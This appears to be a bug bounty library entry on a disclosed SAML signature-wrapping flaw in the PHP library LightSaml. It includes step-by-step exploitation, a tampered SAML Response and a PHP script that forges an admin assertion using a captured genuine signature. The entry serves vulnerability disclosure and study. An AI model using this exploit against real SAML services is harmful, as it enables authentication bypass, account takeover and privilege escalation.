# lightsaml allows Signature wrapping bypass

LightSaml collects direct-child assertions but xmlseclibs resolves the signed Reference URI document-wide, letting a captured genuine signature validate a forged assertion with attacker claims.

- Payout: Research
- Severity: high
- Program: LightSaml
- Found by: ericchiang, jfarthing84
- Disclosed: 2026-11-16
- CVE: CVE-2026-63182
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-w553-pwx6-3mg9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w553-pwx6-3mg9
- Tags: area:oss domain:oss impact:ato impact:privesc kind:research platform:ghsa sev:high tech:php tech:saml technique:parser-differential technique:source-review vuln:access-control vuln:auth-bypass vuln:signature-replay

**Target:** SAML SP library (samlp:Response / saml:Assertion deserialization)
**Root cause:** LightSaml reads claims from direct-child saml:Assertion nodes, while xmlseclibs validateReference resolves Reference URI="#id" with a document-wide //*[@Id] XPath taking item(0), so the digest target and the claim source can be different elements.
**Steps:**
1. Capture one genuine signed samlp:Response containing a signed saml:Assertion with ID `_signed_assertion`.
2. Clone the genuine assertion, strip its `ds:Signature` (the enveloped+exc-c14n digest target), and place it inside `samlp:Extensions` so it is the first `@Id` element in document order.
3. Create a forged direct-child `saml:Assertion` with the same `ID="_signed_assertion"`, attacker Subject/NameID and Attributes, plus a verbatim copy of the genuine `ds:Signature`.
4. Replace the original assertion with the Extensions wrapper and append the forged assertion to the Response.
5. Feed the tampered Response to LightSaml with requireSignature=true and a pinned IdP cert; AssertionSignatureValidatorAction accepts the forged assertion and surfaces attacker claims.
**How found:** Noticed the two layers disagree on which element a signature covers: LightSaml's relative XPath `saml:Assertion` matches only direct children, while xmlseclibs' `//*[@Id]` item(0) resolves any ID-bearing element document-wide; also observed xmlseclibs removes the sig node from the shared DOM during enveloped-signature removal.
**Exploitation:** Attacker needs one previously captured genuine signed assertion (e.g. their own login response). They bury the signature-stripped genuine bytes as the first @Id element in samlp:Extensions and present a forged direct-child assertion reusing the same ID and the copied signature. xmlseclibs digests the buried genuine bytes (valid), LightSaml reads claims from the forged node, yielding IdP-signed attacker identity/attributes.
**Escalation:** Forged assertion can carry arbitrary Subject/NameID and role attributes (e.g. role=admin), escalating from authentication bypass to privilege escalation.
**Insight:** When auditing SAML/XML-DSig consumers, check whether the library's assertion-collection XPath and the underlying xmlseclibs Reference resolution use the same scoping; any mismatch (relative vs document-wide `//*[@Id]`) enables signature wrapping by placing the genuine signed bytes elsewhere in the document (e.g. Extensions) and reusing the ID on a forged sibling.

## Proof of concept (copied exactly from the original report)

**Tampered SAML Response XML with buried genuine assertion**

```
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
  <saml:Issuer>https://idp.example.com</saml:Issuer>

  <!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),
       but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the
       enveloped+exc-c14n digest target is the assertion sans Signature. -->
  <samlp:Extensions>
    <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
      <saml:Issuer>https://idp.example.com</saml:Issuer>
      <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
      <saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
      <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
    </saml:Assertion>
  </samlp:Extensions>

  <!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,
       verbatim copy of the genuine ds:Signature. -->
  <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
    <saml:Issuer>https://idp.example.com</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> ...byte-for-byte copy of the genuine signature... </ds:Signature>
    <saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>
    <saml:Conditions NotBefore="2040-01-01T00:00:00Z" NotOnOrAfter="2041-01-01T00:00:00Z"/>
    <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>
```

**PHP tamper script building signature-wrapped response**

```
php -r '
$doc = new DOMDocument(); $doc->load("genuine_signed.xml");
$xp = new DOMXPath($doc);
$xp->registerNamespace("saml","urn:oasis:names:tc:SAML:2.0:assertion");
$xp->registerNamespace("ds","http://www.w3.org/2000/09/xmldsig#");
$resp = $doc->documentElement;
$genuine = $xp->query("//saml:Assertion[@ID=\"_signed_assertion\"]")->item(0);
$copiedSig = $doc->saveXML($xp->query("./ds:Signature", $genuine)->item(0));

// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)
$buried = $genuine->cloneNode(true);
$buried->removeChild($xp->query("./ds:Signature", $buried)->item(0));

// forged = copied signature + attacker claims (the only direct-child assertion)
$forged =
  "<saml:Assertion xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">"
  ."<saml:Issuer>https://idp.example.com</saml:Issuer>".$copiedSig
  ."<saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>"
  ."<saml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/>"
  ."<saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>"
  ."</saml:Assertion>";
$frag = $doc->createDocumentFragment(); $frag->appendXML($forged);

// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after
$ext = $doc->createElementNS("urn:oasis:names:tc:SAML:2.0:protocol","samlp:Extensions");
$ext->appendChild($buried);
$resp->replaceChild($ext, $genuine);
$resp->appendChild($frag);
file_put_contents("tampered.xml", $doc->saveXML());
'
```

